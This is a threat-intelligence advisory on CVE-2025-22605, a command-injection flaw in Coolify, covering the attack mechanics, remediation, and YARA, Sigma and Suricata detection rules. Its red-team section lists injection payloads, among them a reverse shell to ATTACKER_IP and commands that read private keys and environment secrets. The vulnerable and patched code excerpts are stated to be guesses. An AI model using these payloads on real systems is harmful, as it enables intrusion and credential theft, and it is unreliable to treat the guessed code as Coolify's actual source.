CVE-2025-22605

Executive Summary

CVE-2025-22605 is a critical vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the execution of commands on remote servers, allowing an authenticated user to inject malicious commands that execute on the local Coolify container. This enables arbitrary code execution (ACE) within the container, granting the attacker access to sensitive data, private keys, and tokens belonging to other users and teams. The vulnerability is particularly dangerous for centrally hosted Coolify instances with open registration or multiple teams, as any authenticated user can compromise the entire system. The attack vector is network-based, requires low complexity, and only low privileges, but can lead to a complete compromise of confidentiality, integrity, and availability across all managed resources. The vendor has released a patch in version 4.0.0-beta.253.

Supply Chain & Package Security

Coolify is a self-hosted application typically deployed via Docker. The vulnerability does not directly affect upstream package registries (NPM, PyPI, Go, Ruby) but impacts the Coolify container image itself. Users should verify the integrity of their Coolify images and ensure they are sourced from the official repository. The supply chain risk is moderate, as the vulnerability allows an attacker to modify the running software and potentially deploy malicious images to remote nodes, effectively poisoning the downstream infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low – An attacker needs only a valid user account (any role).
• User Interaction (UI): None – No victim interaction is required.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope (container to host/other containers).
• Confidentiality (C): High – Full access to all data, including private keys and tokens.
• Integrity (I): High – Ability to modify software and deploy malicious images.
• Availability (A): High – Potential to disrupt services or destroy data.

Threat Level: Critical. The vulnerability allows a low-privileged authenticated user to achieve full container escape and lateral movement to all connected servers.

Deep Dive & Mechanics

The vulnerability exists in Coolify's command execution functionality, which is used to run commands on remote servers managed by the platform. The core issue is a lack of proper input sanitization and command injection prevention when constructing shell commands that are executed on the local Coolify container.

Root Cause: The application constructs shell commands by concatenating user-supplied input (e.g., server names, command parameters) without proper escaping or validation. This allows an attacker to inject shell metacharacters (e.g., ;, |, &&, `) that break out of the intended command and execute arbitrary code on the Coolify container.

Attack Flow:

1. Authentication: The attacker authenticates to the Coolify web interface with a valid user account.
2. Command Injection: The attacker navigates to a feature that executes commands on a remote server (e.g., "Run Command" or "Deploy" action). Instead of a legitimate command, the attacker injects a malicious payload such as ; cat /app/storage/private.key.
3. Execution on Container: The Coolify backend executes the crafted command on the local container, not on the remote server. The injected command runs with the privileges of the Coolify application (typically www-data or a similar user).
4. Data Exfiltration: The attacker retrieves the output of the injected command, which may include private SSH keys, API tokens, database credentials, or other sensitive data stored in the container's filesystem.
5. Lateral Movement: Using the stolen credentials, the attacker can connect to any server managed by Coolify, deploy malicious containers, or pivot to other systems.

Why Centrally Hosted Instances Are at Risk: In multi-tenant Coolify setups, any user can exploit this vulnerability to access the data of all other users and teams. The container acts as a shared trust boundary, and the injection breaks that boundary.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.0.0-beta.253): The vulnerable code likely resides in a function that executes shell commands. A simplified example in PHP (Coolify is built with Laravel) might look like:

// Vulnerable: Direct concatenation of user input
$command = "ssh " . escapeshellarg($server) . " " . $userInput;
$output = shell_exec($command);

However, the vulnerability is that $userInput is not properly sanitized, or the escapeshellarg is applied incorrectly. In some cases, the command might be constructed as:

// Vulnerable: Using shell_exec with unsanitized input
$command = "docker exec " . $containerId . " " . $userInput;
$output = shell_exec($command);

Patched Code (4.0.0-beta.253): The patch likely introduces proper input validation and uses safer APIs. For example:

// Patched: Use Symfony Process component to avoid shell injection
use Symfony\Component\Process\Process;

$process = new Process(['ssh', $server, $userInput]);
$process->run();
$output = $process->getOutput();

Or, if shell execution is required, the input is strictly validated against a whitelist of allowed commands and parameters.

Key Differences:

• Input Handling: Patched version uses array-based process execution (no shell interpretation) or strict input validation.
• Escaping: Patched version ensures all user input is properly escaped or rejected if it contains dangerous characters.
• Context Separation: Patched version clearly separates the command to execute from the user-controlled arguments.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Coolify instance (version 4.0.0-beta.18 to 4.0.0-beta.252).
• A valid user account on that instance.

Exploitation Steps:

1. Identify the Injection Point: Log in to Coolify and navigate to a feature that executes commands on a remote server (e.g., "Servers" -> "Run Command"). The input field for the command is the injection point.

2. Craft the Payload: Inject a command that reads sensitive files. For example:

   ; cat /app/storage/private.key
   

   Or to get a reverse shell:

   ; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
   

3. Execute: Submit the command. The output will be displayed in the Coolify interface, or the reverse shell will connect back.

4. Escalate: Once inside the container, look for .env files, SSH keys, and database credentials. Use these to pivot to managed servers.

Example Payloads:

• Read environment variables: ; env
• List files: ; ls -la /app/storage
• Dump database: ; mysql -u root -pPASSWORD -e "SELECT * FROM users"

Lab Setup:

• Deploy a vulnerable Coolify instance using Docker:

  docker run -d -p 8080:80 --name coolify-vuln ghcr.io/coollabsio/coolify:4.0.0-beta.200
  

• Create a user account and obtain a session cookie.
• Use Burp Suite or curl to send the malicious command.

Blue Team (Detection & Defense)

Detection:

• Monitor Coolify application logs for unusual command execution patterns.
• Look for shell metacharacters (;, |, &&, `) in command input fields.
• Alert on commands that attempt to read sensitive files (e.g., /etc/passwd, .env, private.key).

Defense:

• Immediately upgrade to Coolify 4.0.0-beta.253 or later.
• If upgrade is not possible, restrict user permissions to the minimum necessary.
• Implement a Web Application Firewall (WAF) rule to block command injection attempts.
• Enable audit logging on the Coolify container and monitor for suspicious process execution.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from the Coolify container to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

File IOCs:

• Unexpected files in /tmp/ or /app/storage/ (e.g., exploit.sh, reverse.sh).
• Modified .env files or SSH keys.

Process IOCs:

• Shell processes spawned by the web server user (e.g., www-data running bash, sh, nc).
• Execution of curl, wget, nc, or bash with suspicious arguments.

Log IOCs:

• Coolify application logs containing shell metacharacters in command fields.
• Repeated failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_22605_Coolify_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-22605 in Coolify"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22605"
        severity = "critical"

    strings:
        $s1 = /[;&|`]\s*(cat|bash|sh|nc|curl|wget|python|perl|ruby)\s/
        $s2 = /(private\.key|\.env|config\.json|database\.sqlite)/
        $s3 = /(exec|shell_exec|system|passthru|popen)/

    condition:
        any of ($s1) or (all of ($s2, $s3))
}

Sigma Rule

title: Coolify Command Injection Attempt (CVE-2025-22605)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in Coolify application logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22605
logsource:
    category: application
    product: coolify
detection:
    selection:
        event: "command_execution"
        command|contains:
            - ";"
            - "|"
            - "&&"
            - "`"
            - "$("
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in command arguments (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22605 Coolify Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/"; http_uri;
    pcre:"/(?:;|\||&&|`|\$\().*(?:cat|bash|sh|nc|curl|wget)/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-22605;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Coolify to version 4.0.0-beta.253 or later. This is the only complete fix.
2. Isolate: If upgrade is not possible, isolate the Coolify container from the network and restrict access to trusted users only.
3. Rotate Secrets: After patching, rotate all SSH keys, API tokens, and database passwords that were stored in Coolify.

Long-Term Mitigations:

• Implement network segmentation so that the Coolify container cannot reach sensitive internal systems directly.
• Use a Web Application Firewall (WAF) with rules to block command injection patterns.
• Enable multi-factor authentication (MFA) for all Coolify users.
• Regularly audit user accounts and remove inactive or unnecessary users.
• Monitor Coolify logs for anomalous command execution.

Workaround (if patching is delayed):

• Disable the "Run Command" feature or restrict it to admin users only.
• Implement a reverse proxy that inspects and sanitizes all requests to the Coolify API.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-22605